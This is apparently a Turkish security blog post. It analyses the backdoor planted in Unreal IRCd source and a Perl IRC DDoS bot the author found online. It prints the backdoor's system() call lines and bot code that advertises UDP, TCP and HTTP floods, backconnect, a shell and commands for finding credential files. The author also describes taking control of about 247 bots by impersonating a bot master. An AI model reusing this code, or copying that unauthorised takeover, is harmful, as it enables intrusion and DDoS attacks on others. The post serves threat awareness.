DDOS saldırıları ile ilgili internette ufak bir araştırma yapacak olursanız sayısız habere rastlayabilirsiniz. Haberlerden bazıları saldırıya maruz kalan dev firmaların saatler boyunca müşterilerine hizmet veremediği, ne kadar maddi zarar ile karşı karşıya kaldığı ile ilgiliyken bazılarının ise DDOS bot ağlarını yöneten bot efendilerinin (bot master) yakalanmaları ve aldıkları hapis cezaları ile ilgili olduklarını görebilirsiniz.

DDOS nedir, nasıl gerçekleşir, ne kadar zarara yol açar, korunmak mümkün müdür, korunma yöntemleri nelerdir gibi bir çok sorunun yanıtını Huzeyfe bu zamana kadar bir çok defa yanıtladığı için ben konuyu başka bir açıdan ele almaya karar verdim. Genelde konu DDOS olunca bir çoğumuz bu saldırıya maruz kalma ihtimalinin oldukça düşük olduğunu ve bizim için bir tehdit olmadığını düşünürüz. “Kim nereden 100 tane DDOS botunu bilgisayarlara yükleyecekte, bize düşman olacakta kalkıp bize saldıracak” şeklinde sayısız senaryo üreterek sonunda “kimse bununla uğraşmaz” diyerek hayatımıza korunmasız olarak devam ediyoruz. Peki gerçekten de art niyetli kişilerin DDOS saldırısı gerçekleştirmek için 100 tane botu bilgisayarlara yüklemek için uğraşmalarına gerek var mı ? Gerçekten tehdit olarak görülmeli mi ? İşte bu yazımda art niyetli kişi veya kişilerin DDOS saldırısı gerçekleştirmek için gerekli alt yapıya sahip olmalarına gerek olmadığından kısaca bahsedeceğim.

IRC sunucuları ile geçmişte deneyimi olanlar var ise Unreal IRCD yazılımını eminimki duymuşlardır. 12 Haziran tarihinde Unreal IRCD yansı (mirror) sunucularından bir kaçındaki kaynak kodunda arka kapı keşfedildiği Unreal IRCD resmi forum sayfası üzerinden tüm dünyaya duyuruldu. İşin ilginç yanı ise arka kapının 2009’un Kasım ayından bu yana kimse tarafından keşfedilmemiş olmasıydı. Arka kapının ne iş yaptığını merak edip hemen zararlı koda sahip olan Unreal IRCD kaynak kodunu indirdim ve incelemeye başladım. İstismar kodunun bir çok sitede yer alması nedeniyle zararlı kodu keşfetmek için dünyayı yeniden keşfetmeden hemen ilgili satırlara hızlıca göz attım.

include/struct.h

#ifdef DEBUGMODE3
#define DEBUGMODE3_INFO “AB”
#define DEBUG3_LOG(x) DEBUG3_DOLOG_SYSTEM (x)
#endif

#define DEBUG3_DOLOG_SYSTEM(x) system(x)

src/s_bsd.c

#ifdef DEBUGMODE3
if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
DEBUG3_LOG(readbuf);
#endif

Görüldüğü üzere s_bsd.c kaynak kodunda yer alan read_packet fonksiyonunun içine gömülmüş olan bu zararlı kod, irc sunucusuna gönderilen her paketin ilk 2 karakterinin AB olması durumunda ilgili paketi (komutu) system fonksiyonuna yönlendirerek hedef sistem üzerinde komut çalıştırılmasına imkan tanıyordu.

İstismar kodunu incelediğimde ise bot.txt ve r.txt kodlarını içeren sitenin yayınlandan kaldırılması nedeniyle hüsrana uğradım çünkü inceleyecek zararlı kod ortadan kalkmıştı. İstismar kodu incelendiğinde aslında bu iki dosyanın ne işe yaradığı hemen hemen belli oluyordu, Perl ile yazılmış ve hedef sisteme bağlanmaya yarayan iki shell kodu ve ayrıca bir de bot. İşin içinde bot varsa olsa olsa DDOS botu olarak kullanıldığından şüphe ederek dosya adlarını arama motorlarında aramaya başladım. Bir kaç arama sonrasında istatistik sayfası internete açık olan bir sunucu ile karşılaştım ve burada bu sunucuya benzer dosya uzantısıyla (id.txt, c.txt, bot.txt vs.) istekte bulunan bir çok kayda rastladım.

DDOS

Ardından istekler arasından örnekleme yaparak istek içerisinde yer alan web adreslerini ziyaret etmeye başladım.

DDOS

DDOS

DDOS

Kısa bir gezintiden sonra son ekran görüntüsünde yer alan c.txt adındaki zararlı kodu detaylı olarak incelediğimde DDOS botu keşfettiğimi anladım.


if ($funcarg =~ /^help/) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 Scanner edit by XXXXXXXXX”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected]”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected]”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected]nnect”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected]”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected]”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected]”);

}

if ($funcarg =~ /^ddos/) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 There are 3 DDos in this bot”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 UDPFlood, HTTPFlood and TCPFlood”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected] 3
“);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected] 3
“);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected] 3 “);

}

if ($funcarg =~ /^backconnect/) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 You use backconnect like this :”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected] 3
“);
}

if ($funcarg =~ /^shell/) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 This bot has a integrated shell”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 You can use it in private but also public in the channel”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 In public channel just use : 2!x cd tmp3 for example”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 For help with the linux commands type :!x [email protected]”);
}

if ($funcarg =~ /^portscanner/) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 There is a normal portscan and a Nmap:”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected] 3”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected] 3 “);
}

if ($funcarg =~ /^commands/) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 You can use the following commands :”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected] 3”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected] 3 “);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected] 3
“);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x cd tmp for example”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected] 3
“);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected] 3
“);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected] 3 “);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected]”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected] 3 “);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected]”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected]”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected] 3 “);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected]”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected] #channel”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :14(2Help14)3 !x [email protected] #channel”);
}

if ($funcarg =~ /^linuxhelp/) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :2 Dir where you are : pwd”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :2 Start a Perl file : perl file.pl”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :2 Go back from dir : cd ..”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :2 Force to Remove a file/dir : rm -rf file/dir;ls -la”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :2 Show all files/dir with permissions : ls -lia”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :2 Find config.inc.php files : find / -type f -name config.inc.php”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :2 Find all writable folders and files : find / -perm -2 -ls”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :2 Find all .htpasswd files : find / -type f -name .htpasswd”);
sendraw($IRC_cur_socket, “PRIVMSG $printl :2 Find all service.pwd files : find / -type f -name service.pwd”);

Botun üzerinde yer alan IRC sunucusuna bağlandığımda 2 tane bot kanalı olduğunu gördüm. Birinci kanalda 175 ikinci kanalda ise 72 adet bot bulunuyordu. Bot efendileri dışında herhangi birinin botları yönetmemesi adına botun üzerine 5 efendinin rumuzları tanımlanmıştı. Bu tanım sayesinde bu rumuzlar dışında herhangi biri botları kontrol etmeye çalıştığında bot yanıt vermiyordu. Bunun üzerine bende hemen rumuzumu efendilerden birinin rumuzuna çevirerek botları kontrol etmeyi başarabildim.

DDOS

DDOS

DDOS

Daha çok uygulama saldırılarının tehdit olarak görüldüğü günümüzde IPS, çoğu ağın vazgeçilmez bir parçası iken DDOS korunma çözümleri genellikle ikinci planda tutulmaktadır. Peki amacı sadece size zarar vermek olan art niyetli kişi veya kişilerin sisteminiz üzerindeki uygulama zafiyetini keşfetmesi, IPS’i geçmesi ve istismar etmesi ile sadece arama motoru ile keşfettiği, yönetebildiği ve her biri 1 Mbit bağlantıya sahip olan 200 bot ile saldırı gerçekleştirmesi karşılaştırıldığında hangisinin gerçekleşme olasılığı sizce daha yüksek ?

Bir sonraki yazıda görüşmek dileğiyle herkese risk değerlendirmelerinde yer alan olasılık değerlerini tekrar gözden geçirmelerini tavsiye ederim, hoşçakalın…